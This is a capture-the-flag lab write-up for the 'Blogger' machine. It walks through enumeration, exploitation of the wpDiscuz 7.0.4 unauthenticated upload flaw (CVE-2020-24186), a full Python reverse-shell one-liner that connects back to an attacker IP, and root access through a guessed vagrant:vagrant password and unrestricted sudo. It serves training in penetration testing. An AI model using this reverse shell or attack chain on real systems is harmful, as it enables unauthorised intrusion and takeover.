

Blogger | Write-up

Machine: Blogger

Difficulty: Easy

Platform: Proving Ground Play

Operating System: Linux

Target IP: 192.168.110.217

Date Completed: 13-02-2026

Author: Armaan Nain

Objectives

- User Flag
 - Root Flag
-

Reconnaissance & Enumeration

Port & Service Scan :

📎 Command : NMAP SCAN

```
sudo nmap 192.168.110.217 -sCV -oN nmap-scan --min-rate=300
```

```
) sudo nmap 192.168.110.217 -sCV -oN nmap-scan --min-rate=300
[sudo] password for raven:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-13 07:51 +0530
Nmap scan report for 192.168.110.217
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 95:1d:82:8f:5e:de:9a:00:a8:07:39:bd:ac:ad:d3:44 (RSA)
|   256 d7:b4:52:a2:c8:fa:b7:0e:d1:a8:d0:70:cd:6b:36:90 (ECDSA)
|_  256 df:f2:4f:77:33:44:d5:93:d7:79:17:45:5a:a1:36:8b (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Blogger | Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.82 seconds
```

Service Enumeration :

Started service Enumeration with port 80. Checked for any hidden directories or pages.

✍ Command : Directory Brute forcing

```
gobuster dir -u http://192.168.110.217 -w  
/usr/share/wordlists/dirb/big.txt -o gobuster.root
```

```
> gobuster dir -u http://192.168.110.217 -w /usr/share/wordlists/dirb/big.txt -o gobuster.root  
=====  
Gobuster v3.8.2  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
=====  
[+] Url:          http://192.168.110.217  
[+] Method:       GET  
[+] Threads:     10  
[+] Wordlist:    /usr/share/wordlists/dirb/big.txt  
[+] Negative Status codes: 404  
[+] User Agent:  gobuster/3.8.2  
[+] Timeout:     10s  
=====  
Starting gobuster in directory enumeration mode  
=====  
.htpasswd      (Status: 403) [Size: 280]  
.htaccess      (Status: 403) [Size: 280]  
assets          (Status: 301) [Size: 319] [--> http://192.168.110.217/assets/]  
css             (Status: 301) [Size: 316] [--> http://192.168.110.217/css/]  
images          (Status: 301) [Size: 319] [--> http://192.168.110.217/images/]  
js              (Status: 301) [Size: 315] [--> http://192.168.110.217/js/]  
server-status   (Status: 403) [Size: 280]  
Progress: 20469 / 20469 (100.00%)  
=====  
Finished  
=====
```

- Further sub-directory enumeration reveals a 'blog' directory in assets/fonts

Index of /assets/fonts

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Descrip</u>
 Parent Directory		-	
 FontAwesome.otf	2021-01-17 12:37	132K	
 blog/	2021-01-17 12:37	-	
			View Raw Index RSS Atom

- Enumeration of this directory reveals 'Word Press' was in use. A Username was also discovered - 'J@M3S' via examining site content. Further, word press scan reveals a vulnerable version of a plugin was used - 'wpDiscuz 7.0.4'

✍ Command : Word Press Scan

```
wpscan --url http://blogger.pg/assets/fonts/blog/ --plugins-detection aggressive -o wp-scan.txt
```

```
[+] [32m[+] [0m wpdiscuz
| Location: http://blogger.pg/assets/fonts/blog/wp-content/plugins/wpdiscuz/
| Last Updated: 2026-02-09T12:32:00.000Z
| Readme: http://blogger.pg/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
| [33m[!] [0m The version is out of date, the latest version is 7.6.46
|
| Found By: Known Locations (Aggressive Detection)
| - http://blogger.pg/assets/fonts/blog/wp-content/plugins/wpdiscuz/, status: 200
|
| Version: 7.0.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blogger.pg/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
```

A publicly available exploit of the discovered vulnerability was used to gain remote code execution by unauthenticated web shell upload.

```
) searchsploit -m 49967
Exploit: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated)
    URL: https://www.exploit-db.com/exploits/49967
    Path: /usr/share/exploitdb/exploits/php/webapps/49967.py
    Codes: CVE-2020-24186
    Verified: False
File Type: Python script, Unicode text, UTF-8 text executable, with very long lines (864)
```

After reading the exploit code for any hardcoded values and what does it do , used it to exploit the target.



GIF689a; www-data

Enumerated the machine further reveals python 3 installed on the system. Got a reverse shell connection on port 443 using python 3.

✍ Command : Reverse Shell

```
python3 -c 'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.203",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
```

Rev Shell Obtained as User : WWW-DATA

```
www-data@ubuntu-xenial:/home/james$ cat local.txt  
cat local.txt  
  
www-data@ubuntu-xenial:/home/james$ whoami  
whoami  
www-data  
www-data@ubuntu-xenial:/home/james$
```

Privilege Escalation

Technique Used: Password Guessing

Weak password was set for user Vagrant .
password guessed Vagrant:Vagrant

Further Enumeration reveals , user Vagrant has unrestricted access to SUDO . so using SUDO switched user to 'root'.

```
vagrant@ubuntu-xenial:~$ sudo -l  
sudo -l  
Matching Defaults entries for vagrant on ubuntu-xenial:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User vagrant may run the following commands on ubuntu-xenial:  
(ALL) NOPASSWD: ALL
```

✍ Command : Privilege Escalation

```
sudo su
```

Result:

Privileged access achieved (root/system)

```
vagrant@ubuntu-xenial:~$ sudo su  
sudo su  
root@ubuntu-xenial:/home/vagrant# whoami  
whoami  
root
```

Flags

User: {HIDDEN}

Root: {HIDDEN}

Tools & Techniques Used

Nmap
Gobuster
Wpscan
LinPEAS
Manual Exploitation

References

- [Reverse Shell](#) : Payload all the things
- https://youtu.be/2iw_bDwDBp8?si=d2APFlTb698xILnI : Walkthrough referred

My Experience :

- The machine was fairly easy but still spent quite some time on it.
-